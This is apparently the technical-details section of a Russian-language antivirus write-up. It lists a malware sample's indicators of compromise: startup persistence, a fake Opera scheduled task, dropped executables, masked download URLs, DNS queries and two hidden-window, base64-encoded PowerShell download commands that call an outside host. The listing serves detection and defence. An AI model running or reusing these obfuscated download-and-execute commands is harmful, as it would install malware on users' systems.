Техническая информация
- %APPDATA%\microsoft\windows\start menu\programs\startup\gvawfbwc.lnk
- <SYSTEM32>\tasks\opera scheduled autoupdate 3115184141
- %TEMP%\qdvac.exe
- %APPDATA%\microsoft\windows\gvawfbwc\vwrrwrwr.exe
- %APPDATA%\microsoft\windows\gvawfbwc\vwrrwrwr.exe
- %TEMP%\qdvac.exe
- http://so######pingmachines.com/b/wp.exe
- http://www.ms###csi.com/ncsi.txt
- DNS ASK so######pingmachines.com
- DNS ASK j5##ol.xyz
- '%TEMP%\qdvac.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' /e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAoACAAHSBoAHQAdABwADoALwAvAHMAbwBhAHAAcwB0AG...' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' /e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAoACAAHSBoAHQAdABwADoALwAvAHMAbwBhAHAAcwB0AG...